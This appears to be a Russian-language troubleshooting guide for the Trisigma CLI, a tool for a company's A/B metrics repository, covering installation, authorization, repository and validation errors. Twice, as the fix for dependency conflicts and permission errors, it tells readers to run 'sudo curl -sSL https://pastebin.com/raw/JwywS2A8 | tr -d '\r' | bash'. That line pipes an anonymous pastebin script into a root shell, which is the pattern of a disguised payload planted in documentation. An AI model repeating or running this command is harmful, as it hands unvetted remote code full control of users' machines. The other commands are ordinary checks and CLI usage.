Решение проблем
Типичные проблемы при работе с Trisigma CLI и способы их решения.
Проблемы при установке
Ошибка: Конфликт версий библиотек
Симптом:
ERROR: Cannot install trisigma-cli because these package versions have conflicting dependencies.
Причина: Конфликт с библиоте ками из Python-окружения конфигуратора или других проектов.
Решение: Переустанови CLI через автоматический скрипт:
sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash
Установочный скрипт автоматически изолирует зависимости CLI от других Python-пакетов.
Ошибка: Нет доступа к PyPI
Симптом:
ERROR: Could not find a version that satisfies the requirement trisigma-cli
Причина: Нет сетевого доступа к внутреннему PyPI.
Решение:
-
Проверь доступ к интернету
-
Проверь доступ к домену:
curl -I https://pypi.org/simple -
Если домен недоступен. проверь настройки сети или обратись в IT-поддержку
Ошибка: Ошибка прав доступа
Симптом:
ERROR: Could not install packages due to an OSError: [Errno 13] Permission denied
Причина: Недостаточно прав для установки в системную директорию.
Решение: Используй автоматический установочный скрипт, который автоматически устанавливает в пользовательскую директорию:
sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash
Ошибка: Команда trisigma не найдена
Симптом:
bash: trisigma: command not found
Причина: Директория с Python-скриптами не в PATH.
Решение:
Перезагрузи shell для обновления PATH:
source ~/.zshrc # для zsh
source ~/.bashrc # для bash
Автоматический скрипт настраивает PATH при установке.
Проблемы при настройке
Ошибка: CLI не настроен
Симптом:
Ошибка: API не настроено. Выполните 'trisigma init' для настройки.
Решение: Запусти настройку CLI:
trisigma init
Пройди все шаги настройки: выбор репозитория, авторизация в Trisigma.
Ошибка: Токен невалиден или просрочен
Симптом:
Ошибка: Ошибка авторизации
💡 Выполните 'trisigma login' для повторной авторизации
Решение: Обнови токен:
trisigma login
CLI откроет браузер для повторной авторизации.
Ошибка: Репозиторий не найден
Симптом:
Ошибка: Директория не является валидным репозиторием метрик
Причины и решения:
1. Неверный путь к репозиторию
Проверь текущую конфигурацию:
trisigma config --show
Если путь неверен, переинициализируй:
trisigma init
2. Репозиторий не склонирован
Склонируй репозиторий:
git clone git@github.com:<your-company>/<your-company>_ab_metrics.git ab-metrics
cd ab-metrics
trisigma init
3. Неполная структура репозитория
Проверь что в репозитории есть все необходимые директории:
ab-metrics/
├── sources/
│ ├── sources.yaml
│ └── sql/
├── dimensions/
│ ├── dimensions.yaml
│ └── sql/
├── metrics/
├── enrichments/
├── m42/
├── ab/
└── ...
Если чего-то не хватает. выполни git pull для обновления.
Ошибка: Браузер не открывается при авторизации
Симптом: При запуске trisigma init или trisigma login браузер не открывается автоматически.
Решение:
-
Скопируй URL из терминала:
🌐 Откроется браузер: https://<your-company>-conf.trisigma.io/oauth/authorize?... -
Открой URL вручную в браузере
-
Авторизуйся
-
CLI автоматически получит токен
Ошибка: Ошибка подключения к API
Симптом:
Ошибка: Не удалось подключиться к API
Причины и решения:
-
Нет сетевого доступа:
curl -s -o /dev/null -w "%{http_code}" https://<your-company>-conf.trisigma.io/_info | grep -q "200" && echo -e "\n\n\nAPI доступен и готов к работе" || echo -e "\n\n\nAPI недоступен" -
Проверь VPN-подключение к сети Авито
-
API временно недоступен. попробуй позже или обратись в поддержку
Проблемы при валидации
Ошибка: Ошибки валидации
Симптом:
✗ Валидация не прошла. Найдены ошибки.
Решение:
-
Внимательно прочитай список ошибок. указаны файлы и строки с проблемами
-
Используй AI-объяснение:
trisigma sl validate --ai-explain -
Исправь ошибки согласно рекомендациям
-
Повторная валидация:
trisigma sl validate